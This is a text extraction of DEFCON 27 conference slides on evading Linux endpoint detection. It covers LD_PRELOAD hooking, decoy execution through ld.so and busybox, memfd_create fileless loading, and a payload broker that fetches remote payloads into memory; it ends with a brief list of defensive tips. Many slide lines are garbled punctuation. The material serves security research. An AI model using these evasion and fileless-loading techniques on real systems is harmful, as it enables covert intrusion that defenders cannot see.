SlideShare ist ein Scribd-Unternehmen logo
1 von 55
Downloaden Sie, um offline zu lesen
Practical Tips for Playing Hide and Seek with Linux EDRs
DEFCON 27
@Op_Nomad
Zombie Ant Farm
! !
!!
$ who –m
Dimitry Snezhkov
• Technologist
• Member of the X-Force Red Team
ü hacking
ü tools, research
ü all things offensive
@Op_Nomad
github.com/dsnezhkov
Linux Offense: The Context
Linux matters
• It runs 90% of cloud workloads.
• Attacks bypass office networks and land directly in the backend.
• Attacks follows maximum ROI (access to data or computing resources).
• Linux Adversarial efforts may be focused and targeted.
• Defense follows the attacker.
Endpoint Detection and Response (EDR) solutions appear in Linux.
• Operators have to respond
Linux EDRs - A Case of a Mistaken Identity
• Pure play EDR products
• Heuristic engine in Antivirus
• Security Automation toolkits
• Deployment / Patch Management
• Side gig for app whitelisting solutions
• As features of DLP products
• Home grown monitoring frameworks
• Tool assisted Threat Hunting.
“Who in the world am I? Ah, that's the great puzzle.”
No, you are
not…
Have a good
day.
Blue
I am in yourLinux
box…
Operator has to address:
• Initial foothold mechanism viability. Immediate detection.
• Logging of activities, delayed interception and analysis.
• Behavioral runtime patterns that trigger heuristics.
• Persistent readiness for the long haul.
• Evade Automation
• Deflect tool assisted threat hunting
• Proactive Supervision Context
• Quiet boxes. Reliance on behavioral anomaly.
• Locked down boxes. Reliance on known policy enforcement.
• Peripheral sensors, honeypots.
Linux Offense: Strategic Sketches
Operational evasion:
• Operationally shut down EDRs.
• Directly exploit EDRs.
• Blind EDR reporting and response.
• Operationally confuse EDRs
Targeted behavior evasion:
• Target execution confusion.
• Bypass EDR detection with novel ways of target exploitation
• Deflect artifact discovery by Manual or Tool Assisted Threat hunting.
Strategic Goals and Objectives, Distilled
• Choice: Drop ready offensive tools on the target
Ø May be outright detected. The unknown unknown.
• Choice: Develop offensive tools on the target.
Ø May not have tooling, footprint of presence, noise increases.
• Choice: Utilization principle, aka “Living off the land”
Ø May not be possible in the proactive supervision context.
Strategic Goals and Objectives, Distilled
• Need a viable path to building Linux malware in the face of EDRs:
• Evade detection at target runtime.
• Hide and serve payloads in an unpredictable ways to counter “the story”.
Strategic Goals and Objectives, Distilled
Assembled Attack: A blended approach to break the consistent story.
Idea A: Bring in clean instrumented malware cradles.
Build iterative capabilities.
Idea B: Turn good binaries into instrumented malware cradles.
Use them as decoys.
Tactical Goals and Objectives, Sketches
Stage I: Build out Offensive Primitives
• Indiscriminate “preload and release” of legitimate binaries at runtime.
• Preload library chaining,
"split/scatter/assemble” of payload features.
• Delayed payload triggers and features at runtime.
• Rapid payload delivery mechanism prototypes with instrumented cradles.
Tactical Goals and Objectives, Sketches
Stage II: Weaponize and Operationalize Offensive Capabilities
• Payload brokers, “Preload-as-a-service”. Inter-process and remote
payload loading and hosting
• Process mimicry and decoys
• Library preloading in novel ways over memory.
Stage I: Offensive Primitives
• Basics of Offensive Dynamic Linking an Loading
• Prototyping Offensive Mechanisms
• Discussing Offensive Tradeoffs
Linker wires up dynamic locations
of needed libraries specified in the image.
Dynamic Link Loading: The Basics
ELF
$ ./executable
Error loading libctx.so
The Basics of Dynamic Link Loading
$ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable
107824: find library=libctx.so.1 [0]; searching
107824: Found file=./lib/libctx.so.1
“Hello World!”
$ ldd executable
libctx.so.1 => not found
$ readelf -d executable
0x0000000000000001 (NEEDED) Shared library: [libctx.so.1]
Execution Error: Dynamic dependency not found…
Where is the dependency?
Dependency is resolved!
Dynamic ELF Hooking: The Basics
Hook
Redefine and reroute KNOWN function entry points
Generic Dynamic API Hooking Tradeoffs
We are are implementing an API detour to execute foreign logic.
Challenges:
• Need to know the details of target API
FILE *fopen(const char *pathname, const char *mode);
• Invoke and avoid detection. Opsec. Known signatures for known exploits.
• Interoperate with the target binary in a clean fashion without crashing it.
• Assumption inspection tooling availability on target.
New ideas: Viability Check
Tip: Be more agnostic to the specifics of any single API in the binary.
Tip: Do not subvert the target. Instead:
• Compel it to execute malicious code
• Use it as a decoy.
• If you can start a process you
likely own the entire bootstrap of this process
• Preload the payload generically into a known target and
release for execution?
• Expand malware features by bringing other modules out of band.
• EDR sees the initial clean cradle, malware module loading is delayed.
• EDR sees the code executing by approved system binaries in the process table,
trusts the integrity of the known process.
• EDR may not fully trace inter-process data handoff
• preloaded malware calls on external data interchange
• memory resident executables and shared libraries
Parent / Child process relationships in Linux are transitive. We take advantage of this.
• If you can start the parent process, you fully own its execution resources,
and the resources of its progeny
Offensive Strategy: Desired Outcomes
Primitives for Working with Offensive Preloading
What we Want
0x0 - ELF ABI Level : .INIT/.FINI/.PREINIT
.INIT
MAIN
.FINI
__attribute__((section(".init_array"), used))
static typeof(init) *init_p = init;
__attribute__((section(".fini_array"), used))
static typeof(fini) *fini_p = fini;
__attribute__((section(".preinit_array"), used))
. .. main() . . .
, . .
0x1 – C runtime level : __libc_start_main
main_orig = main;
typeof(&__libc_start_main) orig =
dlsym(RTLD_NEXT, "__libc_start_main");
return orig(main_hook, argc, argv, init, fini,
rtld_fini, stack_end);
Is it optimal?
0x2 – Linker Level: Weakrefs
ü Controlled Weak Refs
ü Foreign Weak Refs
ü Chained Weak Refs
void debug() __attribute__((weak));
void debug(){
if (mstat)
mstat();
}
$ nm --dynamic /bin/ls | grep 'w '
w __cxa_finalize
w __gmon_start__
void mstat(){
;
}
Chain1.so
Chain2.so
void main(){
if (debug)
debug();
}
LD_PRELOAD=chain1.so:chain2.so
, ) ) , ,) , ) , " )
• , , ) ,
• .) , ) ( , ) ,
• ) , ) , ) ) ,
• , ) , )
0x3 - .CTOR/.DTOR __attribute__((constructor (P)))
void before_main(void) __attribute__((constructor ));
void after_main(void) __attribute__((destructor ));
void before_main(void) __attribute__((constructor (101)));
void after_main(void) __attribute__((destructor(65534)));
0x5 - Signals, Exceptions, Fault branching
Let’s keep breaking the EDR "story" of execution that leads to a confirmed IoC
ü Out of Band
signals.
ü Fault Branching
ü Self-triggered fault
recovery
ü Exception
Handlers
ü Timed execution
void fpe_handler(int signal, siginfo_t *w,
void *a)
{
printf("In SIGFPE handlern");
siglongjmp(fpe_env, w->si_code);
}
$LD_PRELOAD=lib/libinterrupt.so bin/ls
Trigger SIGFPE handler
In SIGFPE handler
1 / 0: caught division by zero!
Executing payloads here ...
• Rootkit style LD_PRELOAD cleanup (proc)
• Obfuscation (compile time)
• Runtime Encryption (memory)
• Runtime situational checks
• Better context mimicry
• Access to EDRs to prove the exact primitives
• No “main” no pain?
• Alternative loaders
0x6 - Back to Basics: Protecting Payloads
int _(void);
void __data_frame_e()
{
int x = _();
exit(x);
}
int _() {}
// Dynamic assignment to .interp section:
const char my_interp[] __attribute__((section(".interp"))) =
"/usr/local/bin/gelfload-ld-x86_64";
Expanding and Scaling the Evasion Capabilities
We now have some evasion primitives to work with. Nice.
Let’s expand the evasion.
Highlights:
• Target utilization.
• Hiding from EDRs via existing trusted binary decoys.
• Dynamic scripting capabilities in the field.
• Progressive LD_PRELOAD command line evasion.
• Malware preloaders with self-preservation instincts.
Utilization: Out of the Box Decoys
HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL
• System binaries that run other binaries.
• Great decoys already exist on many Linux systems.
• ld.so is a loader that can run executables directly as parameters.
ld.so is always approved (known good)
• busybox meta binary is handy.
Combine the two to escape process pattern matching defensive engines?
Bounce off something trusted and available to break the path of analysis
3 ,. 3 . , ,
$ LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^main_.*$' ./bin/
3 4 , 3
$ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls;
LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/
2,3 3 1 , 3 3 311
echo | LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls
, 3, 3 .2 , 2 3 .2
$ LD_PRELOAD=payload.so
/lib64/ld-linux-x86-64.so.2
vi -ensX $(/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq'
Utilization: Out of the Box Decoys (Cont.)
Second Order Evasion Capabilities
Interface with a higher level code for greater evasion.
Rapid prototyping and development of modular malware.
• speed of development
• better upgrades
• memory safety
ü Offense to retool quickly on the target box.
ü "evade into reflection”.
Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC.
ü Extend malware into preloading code from dynamic languages with decent FFI
0x6A: Hiding Behind Reflective Mirrors
package main
import "C"
import (
"fmt"
)
var count int
//export Entry
func Entry(msg string) int {
fmt.Println(msg)
return count
}
func main() { // don’t care, or wild goose chase }
go build -o shim.so -buildmode=c-shared shim.go
DFIR: Reverse 2059 functions as a starting point ...
0x6B: Escape to Dynamic Code: Interpreters
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>
int main(int argc, char** argv)
{
lua_State *L;
L = luaL_newstate();
luaL_openlibs(L);
/* Load the Lua script */
if (luaL_loadfile(L, argv[1]))
/* Run Lua script */
lua_pcall(L, 0, 0, 0)
lua_close(L);
}
$LD_LIBRARY_PATH=.
LD_PRELOAD=./liblua.so
./invoke_lua hello.lua
Main() is nothing more than a preloaded
constructor at this point
• EDRs lose trail if you
escape out to scripting
• start loading other libraries at runtime.
Pro-tip: Use it as another abstraction layer,
e.g. socket out or pipe to another process
hosting additional payloads
Summary: Ain’t No Primitive Primitives.
Stage II: Weaponizing and Operationalizing Payloads
ü Uber preloaders
ü Inline Parameterized Command Evasion.
ü Memory-resident Malware Modules.
ü Modular Malware Payload Warehouses
ü Remote module loads
ü Utilizable loaders
Uber preloaders
__attribute__((constructor)) static void
_mctor(int argc, char **argv, char** envp)
{
// Save pointers to argv/argc/envp
largv=argv;
largc=argc;
lenvp=envp;
lenvp_start=envp; /* code here */
}
• . .
• .
.
$LD_PRELOAD=./lib/libctx.so.1 /bin/ls <preloader_arguments>
Uber Preloaders
$
LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so” LD_MODULE_ARGS="hello" 
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
Uber Preloaders
// resolve Entry symbol
int (*entry)(char *) = dlsym(handle, "Entry");
//pass arguments along if any
if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){
modload_args = strdup(modload_args_t);
modload_args_len = strlen(modload_args);
}
Chains may still
• dlopen() a module or use weak references
• Adhere to API contracts
• Implement Process mimicry and decoys
• Switch on IPC communication and data signaling
• Clean out artifacts (a la rootkit)
// Call FFI stack
Memory-resident malware modules
One small problem: those modules are files.
• On disk.
• Scannable and inspectable by EDRs.
• And admins.
Sometimes it’s OK (EDR identity crisis). We still want flexibility.
The way to fix that is to
load modules in memory. OS is happy
execute them from memory. OS is not happy. Let’s make it happy.
Memory-resident malware modules
Several ways to operate files in shared memory in Linux:
• tmpfs filesystem (via /dev/shm), if mounted; have to be root to mount
others.
• POSIX shared memory, memory mmap()'d files.
o Some, you cannot obtain execution of code from.
o Others, do not provide you fully memory based abstraction, leaving a file
path visible for inspection.
Kernel 3.17 Linux gained a system call memfd_create(2) (sys_356/319)
Memory-resident malware modules
shm_fd = memfd_create(s, MFD_ALLOW_SEALING);
if (shm_fd < 0) {
log_fatal("memfd_create() error");
}
• 3 , ) 3 (
• 3 () ( 3
3 readlink(3) 3
• 3 ) 3 3
Uber preloader PID 56417, Meet your Volatile Memory
LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
LD_PCMD="r:smtp" LD_MODULE=“/proc/56417/fd/3" LD_MODULE_ARGS="hello"
LD_PRELOAD=./lib/libctx.so.1 /bin/ls
56417
!
"
What we have
What we want
Inspiration: A Natural phenomenon
Weapons of Mass Infection ++
ZAF - Zombie Ant Farm
• / . .
• . , / /
• // . . / / .
• , / . / /
,. ,
ZAF Module Loader and Payload Driver
• Fetches remote payloads and stores them in
memory.
• Runs an in-memory list of available modules,
opens payloads to all local preloaders.
• Has OS evasion and self-preservation instincts.
• Can mimic a specified process name.
• At the request of an operator
de-stages malware modules.
LD_MODULE="/proc/56417/fd/3"
LD_PRELOAD=./libctx.so.1 /bin/ls
• Take payload from ZAF process memory space
• Reference payload via Uber-Preloader,
• Preload payload (or chain) into the target
ZAF + Preloader Synergy
56417
1st order shim
2nd order shim
56417 - ZAF Memory space holding payloads
ZAF Broker Operational Summary
1
3
2
Preloaded shims or
subverted system exec
Uber Preloader pipeline
ZAF Payload Broker Service
PyPreload: Operationalizing Dynamic Preload Cradles
. . . ,
. . . . .
. . , memfd_create() ctypes .
os.write(getMemFd, urllib2.urlopen(url))
def getMemFd(seed):
if ctypes.sizeof(ctypes.c_voidp) == 4:
NR_memfd_create = 356
else:
NR_memfd_create = 319
modMemFd = ctypes.CDLL(None).syscall(NR_memfd_create,seed,1)
modMemPath = "/proc/" + str(os.getpid()) + "/fd/" + str(modMemFd)
PyPreload: Cradle + (Decoy / Mimicry) + Memory
$ pypreload.py -t so -l
http://127.0.0.1:8080/libpayload.so -d bash -c /bin/ls
Note: bash here is the decoy for the process name we use for the process
table, we do not use any bash functionality. “Bash” just looks good for
Threat hunters.
56417 pts/6 S+ 0:00 | | | _ bash
56418 pts/6 S+ 0:00 | | | _ /bin/ls
bash . ls
$ pypreload.py -t bin -l http://127.0.0.1:8080/zaf -d bash
$ ls -l /proc/56509/fd/
lr-x------ 1 root root 64 Feb 17 18:08 0 -> /dev/null
l-wx------ 1 root root 64 Feb 17 18:08 1 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 2 -> /dev/null
lrwx------ 1 root root 64 Feb 17 18:08 3 -> '/memfd:fa37Jn
(deleted)'
lrwx------ 1 root root 64 Feb 17 18:08 5 -> 'socket:[3479923]'
56880 18:26:52.395703 memfd_create("R6YP4OOR", MFD_CLOEXEC) = 3
56884 18:26:52.586221 readlink("/proc/self/exe", "/memfd:R6YP4OOR (deleted)", 4096) = 25
56886 18:26:52.632680 memfd_create("fa37Jn", MFD_CLOEXEC) = 4
Strace sees:
File Descriptors of the preload cradle
PyPreload: Cradle + (Decoy / Mimicry) + Memory + ZAF
( , )( 2 - ) ,
ZAF + Dynamic FileLess Loader Operational Summary
2
1
4
3
1. ASLR at-start weakening
• Weaken targets via predictable memory addresses
• Load to static address or an artificial code cave.
Linux execution domains <sys/personality.h>
ADDR_NO_RANDOMIZE (since Linux 2.6.12)
Parent -> set personality -> Fork() -> UNRANDOMIZED process
2. Cross Memory Attach
• Artificial Code Caves
• IPC evasion (User to User space vs. User to Kernel to User space)
process_vm_readv(), process_vm_writev()
Additional Tips and Research Roadmap
Additional Tips and Research Roadmap
Additional Tips and Research Roadmap
Offensive Summary
ü Preloading is a viable path to evasion via system executables.
ü Bring clean cradles to build on, or use executables on the target as decoys.
ü Use assembled attack. Split/Scatter/Assemble techniques vs. EDRs.
ü Out-of-process payload delivery is sometimes what you need.
“Preloader-as-a-Service” over memory is possible.
ü C FFI is the common denominator for interop on Linux, and can be used
for evasion.
ü Don’t kill a fly with a sword (even though you know you want to).
But do turn chopsticks into swords when needed.
ü Protect your payloads and payload delivery mechanisms.
https://github.com/dsnezhkov/zombieantCode:
What can the Defense do?
• Start implementing Linux capabilities.
• Define clearly what EDRs will and can do for you.
• Use provided ideas for manual threat hunting.
• Optics into /proc.
• Optics into dynamic loading, memfd().
• Optics into IPC
• Optics into process library load
• Start thinking more about proactive contextual supervision.
EOF
SYN & ACK?
Thank you!
!
!
!
!
Useful Links (Thanks!)
https://x-c3ll.github.io/posts/fileless-memfd_create/
https://0x00sec.org/t/super-stealthy-droppers/3715
https://github.com/lattera/glibc/blob/master/csu/gmon-start.c
https://github.com/dvarrazzo/py-setproctitle/tree/master/src
https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
https://gist.github.com/apsun/1e144bf7639b22ff0097171fa0f8c6b1

Weitere ähnliche Inhalte

Was ist angesagt?

CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingSam Bowne
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...CODE BLUE
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidE Hacking
 
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...Malachi Jones
 
One-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic AnalysisOne-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic AnalysisTakahiro Haruyama
 
Practical Malware Analysis Ch12
Practical Malware Analysis Ch12Practical Malware Analysis Ch12
Practical Malware Analysis Ch12Sam Bowne
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesenSilo
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgSam Bowne
 
Typhoon Managed Execution Toolkit
Typhoon Managed Execution ToolkitTyphoon Managed Execution Toolkit
Typhoon Managed Execution ToolkitDimitry Snezhkov
 
Anti-Debugging - A Developers View
Anti-Debugging - A Developers ViewAnti-Debugging - A Developers View
Anti-Debugging - A Developers ViewTyler Shields
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareTakahiro Haruyama
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresESET
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015CODE BLUE
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginTakahiro Haruyama
 
Volatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident ResponseVolatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident ResponseTakahiro Haruyama
 
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine:  Unveiling Post Exploitation ThreatsrsacIsolating the Ghost in the Machine:  Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine: Unveiling Post Exploitation ThreatsrsacPriyanka Aash
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015CODE BLUE
 

Was ist angesagt? (20)

CNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware LaunchingCNIT 126 12: Covert Malware Launching
CNIT 126 12: Covert Malware Launching
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
 
Fuzzing the Media Framework in Android
Fuzzing the Media Framework in AndroidFuzzing the Media Framework in Android
Fuzzing the Media Framework in Android
 
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...Automated In-memory Malware/Rootkit  Detection via Binary Analysis and Machin...
Automated In-memory Malware/Rootkit Detection via Binary Analysis and Machin...
 
Packers
PackersPackers
Packers
 
One-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic AnalysisOne-Byte Modification for Breaking Memory Forensic Analysis
One-Byte Modification for Breaking Memory Forensic Analysis
 
Practical Malware Analysis Ch12
Practical Malware Analysis Ch12Practical Malware Analysis Ch12
Practical Malware Analysis Ch12
 
Injection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniquesInjection on Steroids: Codeless code injection and 0-day techniques
Injection on Steroids: Codeless code injection and 0-day techniques
 
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbgPractical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
Practical Malware Analysis: Ch 10: Kernel Debugging with WinDbg
 
Typhoon Managed Execution Toolkit
Typhoon Managed Execution ToolkitTyphoon Managed Execution Toolkit
Typhoon Managed Execution Toolkit
 
Anti Debugging
Anti DebuggingAnti Debugging
Anti Debugging
 
Anti-Debugging - A Developers View
Anti-Debugging - A Developers ViewAnti-Debugging - A Developers View
Anti-Debugging - A Developers View
 
Malicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic SoftwareMalicious File for Exploiting Forensic Software
Malicious File for Exploiting Forensic Software
 
Unpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasuresUnpack your troubles*: .NET packer tricks and countermeasures
Unpack your troubles*: .NET packer tricks and countermeasures
 
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
 
Buffer Overflow Attacks
Buffer Overflow AttacksBuffer Overflow Attacks
Buffer Overflow Attacks
 
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility PluginFast and Generic Malware Triage Using openioc_scan Volatility Plugin
Fast and Generic Malware Triage Using openioc_scan Volatility Plugin
 
Volatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident ResponseVolatile IOCs for Fast Incident Response
Volatile IOCs for Fast Incident Response
 
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine:  Unveiling Post Exploitation ThreatsrsacIsolating the Ghost in the Machine:  Unveiling Post Exploitation Threatsrsac
Isolating the Ghost in the Machine: Unveiling Post Exploitation Threatsrsac
 
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
Defeating firefox by Muneaki Nishimunea - CODE BLUE 2015
 

Ähnlich wie Practical Tips for Playing Hide and Seek with Linux EDRs

EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22MichaelM85042
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andAlisa Esage Шевченко
 
Esage on non-existent 0-days, stable binary exploits and user interaction
Esage   on non-existent 0-days, stable binary exploits and user interactionEsage   on non-existent 0-days, stable binary exploits and user interaction
Esage on non-existent 0-days, stable binary exploits and user interactionDefconRussia
 
Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploitTiago Henriques
 
Piratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigationPiratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigationPriyanka Aash
 
AV Evasion with the Veil Framework
AV Evasion with the Veil FrameworkAV Evasion with the Veil Framework
AV Evasion with the Veil FrameworkVeilFramework
 
Demystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels CampDemystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels CampAndré Baptista
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNoSuchCon
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviCysinfo Cyber Security Community
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022lior mazor
 
Reverse engineering
Reverse engineeringReverse engineering
Reverse engineeringSaswat Padhi
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challengesbcantrill
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONLyon Yang
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Docker Security
Docker SecurityDocker Security
Docker Securityantitree
 
ANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at ScaleANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at ScaleJohn Bambenek
 

Ähnlich wie Practical Tips for Playing Hide and Seek with Linux EDRs (20)

Eusecwest
EusecwestEusecwest
Eusecwest
 
EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22EMBA Firmware analysis - TROOPERS22
EMBA Firmware analysis - TROOPERS22
 
On non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits andOn non existent 0-days, stable binary exploits and
On non existent 0-days, stable binary exploits and
 
Esage on non-existent 0-days, stable binary exploits and user interaction
Esage   on non-existent 0-days, stable binary exploits and user interactionEsage   on non-existent 0-days, stable binary exploits and user interaction
Esage on non-existent 0-days, stable binary exploits and user interaction
 
Vulnerability, exploit to metasploit
Vulnerability, exploit to metasploitVulnerability, exploit to metasploit
Vulnerability, exploit to metasploit
 
Secure Coding in C/C++
Secure Coding in C/C++Secure Coding in C/C++
Secure Coding in C/C++
 
Piratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigationPiratng Avs to bypass exploit mitigation
Piratng Avs to bypass exploit mitigation
 
AV Evasion with the Veil Framework
AV Evasion with the Veil FrameworkAV Evasion with the Veil Framework
AV Evasion with the Veil Framework
 
Demystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels CampDemystifying Binary Reverse Engineering - Pixels Camp
Demystifying Binary Reverse Engineering - Pixels Camp
 
Un) fucking forensics
Un) fucking forensicsUn) fucking forensics
Un) fucking forensics
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
 
Reverse engineering
Reverse engineeringReverse engineering
Reverse engineering
 
Wielding a cortana
Wielding a cortanaWielding a cortana
Wielding a cortana
 
Dynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open ChallengesDynamic Languages in Production: Progress and Open Challenges
Dynamic Languages in Production: Progress and Open Challenges
 
Advanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCON
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Docker Security
Docker SecurityDocker Security
Docker Security
 
ANALYZE'15 - Bulk Malware Analysis at Scale
